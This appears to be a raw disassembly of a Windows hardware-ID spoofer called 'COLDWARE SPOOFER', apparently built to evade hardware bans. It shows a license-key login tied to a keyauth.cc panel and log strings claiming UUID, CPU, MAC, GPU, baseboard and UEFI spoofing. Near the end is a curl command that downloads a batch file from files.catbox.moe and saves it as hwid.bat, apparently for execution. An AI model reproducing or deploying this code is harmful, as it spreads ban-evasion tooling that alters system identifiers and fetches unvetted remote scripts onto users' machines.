lea rcx, [rbp + 0xf0]
call fcn.140027c60
movss xmm6, dword [rax + 4]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea rcx, [rbp + 0xf8]
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mulss xmm8, xmm6
divss xmm8, xmm15
call fcn.140027c40
lea rcx, [rbp + 0x100]
addss xmm8, dword [rax + 4]
call fcn.140027c60
movss xmm6, dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea rcx, [rbp + 0x108]
movd xmm7, eax
cvtdq2ps xmm7, xmm7
mulss xmm7, xmm6
divss xmm7, xmm15
call fcn.140027c40
addss xmm7, dword [rax]
movss dword [rbx + r14 + 4], xmm8
movss dword [rbx + r14], xmm7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
sub ecx, eax
sub ecx, 5
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
movss dword [rbx + r15 + 4], xmm6
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
sub ecx, eax
sub ecx, 5
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
movss dword [rbx + r15], xmm0
add rbx, 8
cmp rbx, 0x398
jl 0x140060700
xor r15d, r15d
mov byte [0x14011d39c], 1
call fcn.1400272c0
lea rsi, [0x14011cc54]
movsd xmm0, qword [rax + 0x118]
movsd qword [rbp + 0x250], xmm0
lea ecx, [r15 + 1]
cmp ecx, 0x73
jge 0x1400608d1
movsxd rax, ecx
lea rbx, [rsi + 4]
lea r13, [0x14011cc50]
lea rdi, [r14 + rax*8]
mov r14d, reloc.WS2_32.dll_WSAStartup
sub r14d, ecx
nop dword [rax]
movss xmm1, dword [rbx + 4]
movss xmm0, dword [rbx]
subss xmm1, dword [rsi]
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm11
movaps xmm1, xmm9
subss xmm1, xmm0
comiss xmm1, xmm10
jbe 0x1400608bf
lea rcx, [rbp + 0x88]
movss dword [rbp + 0x94], xmm1
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x8c], 0x3f800000
mov dword [rbp + 0x90], 0x3f800000
call fcn.140026dd0
mov r9d, eax
movss dword [rsp + 0x20], xmm9
mov eax, r15d
mov r8, rdi
mov rcx, r12
lea rdx, [rax*8]
add rdx, r13
call fcn.14003a470
add rdi, 8
add rbx, 8
sub r14, 1
jne 0x140060840
movss xmm1, dword [rbp + 0x254]
movss xmm0, dword [rbp + 0x250]
subss xmm1, dword [rsi]
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm13
movaps xmm1, xmm9
subss xmm1, xmm0
comiss xmm1, xmm10
jbe 0x14006095d
lea rcx, [rbp + 0xa0]
movss dword [rbp + 0xac], xmm1
mov dword [rbp + 0xa0], 0
mov dword [rbp + 0xa4], 0x3f800000
mov dword [rbp + 0xa8], 0x3f800000
call fcn.140026dd0
mov r9d, eax
movss dword [rsp + 0x20], xmm9
mov eax, r15d
lea r14, [0x14011cc50]
lea rdx, [rbp + 0x250]
mov rcx, r12
lea r8, [r14 + rax*8]
call fcn.14003a470
jmp 0x140060964
lea r14, [0x14011cc50]
inc r15d
add rsi, 8
cmp r15d, 0x73
jl 0x140060811
call fcn.1400272c0
xor r15d, r15d
lea r13, [0x14011d000]
mov rdi, r14
mov ebx, r15d
movss xmm8, dword [rax + 0x10]
lea esi, [r15 + 0x73]
movaps xmm6, xmm8
lea rcx, [rbp + 0x110]
mulss xmm6, dword [rbx + r13]
movaps xmm0, xmm8
mulss xmm0, dword [rbx + r13 + 4]
addss xmm6, dword [rbx + r14]
addss xmm0, dword [rbx + r14 + 4]
movss dword [rbx + r14], xmm6
movss dword [rbx + r14 + 4], xmm0
call fcn.140027c40
movss xmm0, dword [rax]
comiss xmm0, xmm6
jbe 0x140060a00
lea rcx, [rbp + 0x118]
call fcn.140027c60
lea rcx, [rbp + 0x120]
movss xmm6, dword [rax]
call fcn.140027c40
addss xmm6, dword [rax]
movss dword [rbx + r14], xmm6
jmp 0x140060a3d
movss xmm7, dword [rbx + r14]
lea rcx, [rbp + 0x128]
call fcn.140027c60
lea rcx, [rbp + 0x130]
movss xmm6, dword [rax]
call fcn.140027c40
addss xmm6, dword [rax]
comiss xmm7, xmm6
jbe 0x140060a3d
lea rcx, [rbp + 0x138]
call fcn.140027c40
mov ecx, dword [rax]
mov dword [rbx + r14], ecx
movss xmm6, dword [rbx + r14 + 4]
lea rcx, [rbp + 0x140]
call fcn.140027c40
movss xmm0, dword [rax + 4]
comiss xmm0, xmm6
jbe 0x140060a85
lea rcx, [rbp + 0x148]
call fcn.140027c60
lea rcx, [rbp + 0x150]
movss xmm6, dword [rax + 4]
call fcn.140027c40
addss xmm6, dword [rax + 4]
movss dword [rbx + r14 + 4], xmm6
jmp 0x140060ac7
movss xmm7, dword [rbx + r14 + 4]
lea rcx, [rbp + 0x158]
call fcn.140027c60
lea rcx, [rbp + 0x160]
movss xmm6, dword [rax + 4]
call fcn.140027c40
addss xmm6, dword [rax + 4]
comiss xmm7, xmm6
jbe 0x140060ac7
lea rcx, [rbp + 0x168]
call fcn.140027c40
mov ecx, dword [rax + 4]
mov dword [rbx + r14 + 4], ecx
movaps xmm0, xmmword [0x1400b8ae0]
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14001c400
mov r9d, eax
mov dword [rsp + 0x20], r15d
movaps xmm2, xmm14
mov rdx, rdi
mov rcx, r12
call fcn.140039040
add rdi, 8
add rbx, 8
sub rsi, 1
jne 0x140060994
mov eax, dword [reloc.WS2_32.dll_accept]
mov r13, qword [rbp + 0x98]
cmp eax, 1
jne 0x140060eb3
movaps xmm0, xmmword [0x1400fd0a0]
lea rdx, [rbp + 0x1e0]
lea ecx, [rsi + 3]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm0, xmmword [0x1400fd0b0]
lea rdx, [rbp + 0x1e0]
lea ecx, [rsi + 5]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movss xmm8, dword [0x1400b49dc]
lea ecx, [rsi + 6]
movaps xmm1, xmm8
call fcn.14002f350
movaps xmm1, xmmword [0x1400b4b20]
lea rax, [rbp + 0x1e0]
mov ebx, dword [rsp + 0x60]
lea r9, [rbp - 0x60]
mov edi, dword [rsp + 0x64]
lea r8, [rbp - 0x58]
mov rsi, qword [rbp - 0x78]
lea rdx, [rbp - 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
movups xmmword [rbp + 0x1e0], xmm0
lea rax, [rbp + 0x1d0]
mov rcx, rsi
movups xmmword [rbp + 0x1d0], xmm1
mov dword [rbp - 0x60], 0x3f800000
movd xmm0, ebx
movd xmm1, edi
cvtdq2ps xmm0, xmm0
mov dword [rbp - 0x5c], 0x3f800000
mov qword [rbp - 0x58], r15
mov qword [rsp + 0x20], rax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x50], xmm0
movss dword [rbp - 0x4c], xmm1
call fcn.140050730
movaps xmm0, xmmword [0x1400b4b20]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x48], 0x439b0000
mov dword [rbp - 0x44], 0x42340000
call fcn.140032f70
lea rcx, str.COLDWARE_SPOOFER
call fcn.140057870
mov ecx, 1
call fcn.14002ebc0
xorps xmm0, xmm0
lea rdx, [rbp + 0x1e0]
mov ecx, reloc.WS2_32.dll_setsockopt
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x443b8000
mov dword [rbp - 0x3c], 0x40a00000
call fcn.140032f70
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x38], r15
lea rcx, [0x1400b4938]
call fcn.14004f740
test al, al
jne 0x140061d52
mov ecx, 1
call fcn.14002ebc0
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x43430000
mov dword [rbp - 0x2c], 0x42dc0000
call fcn.140032f70
mov r9d, 8
mov dword [rbp - 0x28], 0x43c80000
mov r8b, 1
mov dword [rbp - 0x24], 0x43820000
lea rdx, [rbp - 0x28]
lea rcx, str.MainPanel
call fcn.140019930
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x43130000
mov dword [rbp - 0x1c], 0x420c0000
call fcn.140032f70
lea rcx, str.Login_page
call fcn.140057870
movss xmm0, dword [0x1400fcf38]
call fcn.14002f140
lea rcx, [rbp - 0x18]
mov dword [rbp - 0x18], 0x42900000
mov dword [rbp - 0x14], 0x429e0000
call fcn.140032f70
lea rcx, str.License_Key
call fcn.140057920
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x428c0000
mov dword [rbp - 0xc], 0x42c80000
call fcn.140032f70
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r12, [0x14011c800]
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [0x1400fcddc]
lea r8d, [r9 + 0x32]
call fcn.140050950
call fcn.14002eb80
lea rcx, [rbp - 8]
mov dword [rbp - 8], 0x42900000
mov dword [rbp - 4], 0x431b0000
call fcn.140032f70
movss xmm7, dword [0x1400b49e8]
mov ecx, ntohs
movaps xmm1, xmm7
call fcn.14002f350
lea rdx, [rbp]
mov dword [rbp], 0x43820000
lea rcx, str.Login
mov dword [rbp + 4], 0x420c0000
call fcn.14004f740
test al, al
je 0x140060e1c
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f8], r15
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r12 + r8], r15b
jne 0x140060dd0
mov rdx, r12
lea rcx, [rbp + 0x1e0]
call fcn.140059c30
lea rdx, [rbp + 0x1e0]
lea rcx, [0x14011c960]
call fcn.140004130
cmp byte [0x14011cba0], r15b
je 0x140061d30
mov dword [reloc.WS2_32.dll_bind], 2
mov dword [reloc.WS2_32.dll_accept], 2
lea rcx, [rbp + 8]
mov dword [rbp + 8], 0x42900000
mov dword [rbp + 0xc], 0x43430000
call fcn.140032f70
movaps xmm1, xmm7
mov ecx, ntohs
call fcn.14002f350
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x43820000
lea rcx, str.Create_an_account
mov dword [rbp + 0x14], 0x420c0000
call fcn.14004f740
test al, al
je 0x140060e88
mov dword [rsp + 0x28], 1
lea r8, str.https:__keyauth.cc_panel_serfuxjoe_Zchair
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.14002ec10
call fcn.140024ad0
mov ecx, 2
call fcn.14002ebc0
mov ecx, 1
call fcn.14002ec10
mov eax, dword [reloc.WS2_32.dll_accept]
jmp 0x140060ec8
movss xmm8, dword [0x1400b49dc]
mov ebx, dword [rsp + 0x60]
mov edi, dword [rsp + 0x64]
mov rsi, qword [rbp - 0x78]
cmp eax, 2
jne 0x140061b22
movaps xmm0, xmmword [0x1400fd0a0]
lea rdx, [rbp + 0x1e0]
lea ecx, [rax + 1]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm0, xmmword [0x1400fd0b0]
lea rdx, [rbp + 0x1e0]
mov ecx, 5
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
movaps xmm1, xmm8
mov ecx, 6
call fcn.14002f350
movd xmm0, ebx
lea rax, [rbp + 0x1e0]
cvtdq2ps xmm0, xmm0
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x18]
lea rax, [rbp + 0x1d0]
mov rcx, rsi
lea r8, [rbp + 0x20]
mov qword [rbp + 0x20], r15
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x18], 0x3f800000
movd xmm1, edi
cvtdq2ps xmm1, xmm1
mov dword [rbp + 0x1c], 0x3f800000
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x28], xmm0
movaps xmm0, xmmword [0x1400b4b20]
movss dword [rbp + 0x2c], xmm1
xorps xmm1, xmm1
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm1
call fcn.140050730
xorps xmm0, xmm0
lea rdx, [rbp + 0x1e0]
mov ecx, reloc.WS2_32.dll_setsockopt
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x443b8000
mov dword [rbp + 0x34], 0x40a00000
call fcn.140032f70
lea rdx, [rbp + 0x38]
mov qword [rbp + 0x38], r15
lea rcx, [0x1400b4938]
call fcn.14004f740
test al, al
jne 0x140061d52
mov ecx, 1
call fcn.14002ebc0
movaps xmm0, xmmword [0x1400b4b20]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
movups xmmword [rbp + 0x1e0], xmm0
call fcn.14002f260
lea rcx, [rbp + 0x40]
mov dword [rbp + 0x40], 0x439b0000
mov dword [rbp + 0x44], 0x42340000
call fcn.140032f70
lea rcx, str.COLDWARE_SPOOFER
call fcn.140057870
mov ecx, 1
call fcn.14002ebc0
lea rcx, [rbp + 0x48]
mov dword [rbp + 0x48], 0x43110000
mov dword [rbp + 0x4c], 0x42b40000
call fcn.140032f70
mov r9d, 8
mov dword [rbp + 0x50], 0x43fa0000
mov r8b, 1
mov dword [rbp + 0x54], 0x43820000
lea rdx, [rbp + 0x50]
lea rcx, str.MainPanel
call fcn.140019930
lea rcx, [rbp + 0x58]
mov dword [rbp + 0x58], 0x43250000
mov dword [rbp + 0x5c], 0x420c0000
call fcn.140032f70
lea rcx, str.SPOOFER_LOGS:
call fcn.140057870
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140057870
cmp byte [0x14011c7fd], r15b
je 0x1400611f2
movaps xmm0, xmmword [0x1400fcfc0]
lea rdx, str.__UUID_SPOOFED:
movaps xmm1, xmmword [0x1400fd080]
lea rcx, [rbp + 0x1d0]
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
lea rdx, str.__CPU_SPOOFED:
lea rcx, [rbp + 0x1d0]
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
lea rdx, str.__MAC_SPOOFED:
lea rcx, [rbp + 0x1d0]
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
lea rdx, str.__GPU_SPOOFED:
lea rcx, [rbp + 0x1d0]
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
lea rdx, str.__BASEBOARD_SPOOFED:
lea rcx, [rbp + 0x1d0]
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
lea rdx, str.__MSINFO32_SPOOFED:
lea rcx, [rbp + 0x1d0]
call fcn.1400578a0
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, str.TRUE
lea rcx, [rbp + 0x1e0]
call fcn.1400578a0
call fcn.140024ad0
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x43020000
mov dword [rbp + 0x64], 0x43b90000
call fcn.140032f70
lea rdx, [rbp + 0x68]
mov dword [rbp + 0x68], 0x43820000
lea rcx, str.Permanent_Spoof__Normal
mov dword [rbp + 0x6c], 0x420c0000
call fcn.14004f740
xor ecx, ecx
call fcn.140028b30
mov ebx, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x1400615cc
mov eax, dword [0x1400fcce0]
mov r8d, r15d
movsd xmm0, qword [0x1400fccd8]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400fcce4]
mov byte [rbp - 0x7c], al
movsd qword [rsp + 0x78], xmm0
cmp ebx, 2
jl 0x140061378
movdqa xmm2, xmmword [0x1400b8640]
mov r8d, 8
movdqa xmm3, xmmword [0x1400fcf40]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888c26jfc75_m_n:i]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fcf50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400fccd8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x78], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fcf50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
movd xmm1, dword [rsp + 0x7c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x140061390
mov eax, dword [0x1400fccd0]
mov r8d, r15d
mov dword [rbp + 0x218], eax
movups xmm0, xmmword [0x1400fcc98]
movups xmm1, xmmword [0x1400fcca8]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm0, xmmword [0x1400fccb8]
movups xmmword [rbp + 0x1f0], xmm1
movups xmmword [rbp + 0x200], xmm0
movsd xmm0, qword [0x1400fccc8]
movsd qword [rbp + 0x210], xmm0
cmp ebx, 2
jl 0x14006155f
movdqa xmm0, xmmword [str.8888888888888888c26jfc75_m_n:i]
lea rcx, [rbp + 0x1e4]
movdqa xmm5, xmmword [0x1400b8640]
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm6, xmmword [0x1400fcf50]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, dword [rbp + 0x1d0]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x140061450
cmp r8d, 0x3c
jge 0x1400615a6
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x3c
jl 0x140061570
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.14005d050
mov byte [0x14011c7fd], 1
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.1400327c0
lea rdx, [rbp + 0x70]
mov dword [rbp + 0x70], 0x43820000
lea rcx, str.Permanent_Spoof__UEFI
mov dword [rbp + 0x74], 0x420c0000
call fcn.14004f740
test al, al
je 0x140061995
mov eax, dword [0x1400fcd30]
mov r8d, r15d
movsd xmm0, qword [str.vVNRZT_4___D]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x1400fcd34]
mov byte [rsp + 0x74], al
movsd qword [rsp + 0x68], xmm0
cmp ebx, 2
jl 0x140061738
movdqa xmm2, xmmword [0x1400b8640]
mov r8d, 8
movdqa xmm3, xmmword [0x1400fcf40]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888c26jfc75_m_n:i]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fcf50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.vVNRZT_4___D]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400fcf50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
movd xmm1, dword [rsp + 0x6c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x140061750
mov eax, dword [0x1400fcd20]
mov r8d, r15d
mov dword [rbp + 0x218], eax
movups xmm0, xmmword [str.cbjNP_Q__6]
movups xmm1, xmmword [0x1400fccf8]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm0, xmmword [0x1400fcd08]
movups xmmword [rbp + 0x1f0], xmm1
movups xmmword [rbp + 0x200], xmm0
movsd xmm0, qword [0x1400fcd18]
movsd qword [rbp + 0x210], xmm0
cmp ebx, 2
jl 0x14006191f
movdqa xmm0, xmmword [str.8888888888888888c26jfc75_m_n:i]
lea rcx, [rbp + 0x1e4]
movdqa xmm5, xmmword [0x1400b8640]
movdqa xmm4, xmmword [0x1400fd0d0]
movdqa xmm6, xmmword [0x1400fcf50]
movdqa xmmword [rbp + 0x1d0], xmm0
mov edx, dword [rbp + 0x1d0]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fcf60]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x140061810
cmp r8d, 0x3c
jge 0x140061966
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x3c
jl 0x140061930
mov r9d, 0x40
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.14005add0
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [rbp + 0x78]
mov dword [rbp + 0x78], 0x43010000
mov dword [rbp + 0x7c], 0x43cd0000
call fcn.140032f70
lea rdx, [rbp + 0x80]
mov dword [rbp + 0x80], 0x44048000
lea rcx, str.Check_Serials
mov dword [rbp + 0x84], 0x420c0000
call fcn.14004f740
test al, al
je 0x140061b07
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1400f9b18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x580]
mov edx, 0x104
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
test eax, eax
jne 0x140061a8c
lea edx, [rax + 0x5c]
lea rcx, [rbp + 0x690]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140061a5e
mov byte [rax], r15b
lea rcx, str.curl_https:__files.catbox.moe_0qmm0e.bat___output_hwid.bat__nul_2_1
